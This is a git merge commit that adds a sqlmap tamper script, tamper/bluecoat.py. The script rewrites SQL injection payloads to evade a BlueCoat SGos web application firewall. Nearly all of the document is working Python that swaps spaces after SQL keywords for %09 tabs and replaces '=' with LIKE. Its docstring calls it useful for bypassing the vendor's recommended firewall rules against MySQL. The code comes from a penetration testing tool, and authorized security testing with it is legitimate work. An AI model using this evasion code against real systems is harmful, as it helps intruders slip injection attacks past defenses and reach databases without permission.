Merge pull request #232 from Th4nat0s/master

Tamper for SGos BlueCoat recommended Waf configuration

tamper/bluecoat.py

@@ -0,0 +1,55 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import os
+import re
+
+from lib.core.common import singleTimeWarnMessage
+from lib.core.enums import DBMS
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.LOW
+
+def dependencies():
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
+
+def process(match):
+  word = match.group()
+  word = "%sLIKE%s" % (" " if word[0] != " " else "", " " if word[-1] != " " else "")
+  return word
+
+def tamper(payload, headers=None):
+	"""
+    First Replaces the space after 'select ' with a valid random blank character.
+		Then replace = with like
+
+    Example:
+        * Input: SELECT id FROM users where id = 1
+        * Output: SELECT%09id FROM users where id like 1
+
+    Requirement:
+        * MySQL, Bluecoat SGos with Waf activated as documented in
+        https://kb.bluecoat.com/index?page=content&id=FAQ2147
+
+    Tested against:
+        * MySQL 5.1, SGos Rules
+
+    Notes:
+        * Useful to bypass BlueCoat recommanded Waf rule configuration
+	"""
+
+# ASCII table:
+#   TAB     09      horizontal TAB
+	blanks = '%09'
+	retVal = payload
+
+	if payload:
+		for commands in ['SELECT','UPDATE','INSERT','DELETE']:
+			retVal = retVal.replace(commands + ' ', commands + blanks)
+		retVal = re.sub(r"\s*=\s*", lambda match: process(match), retVal)
+
+	return retVal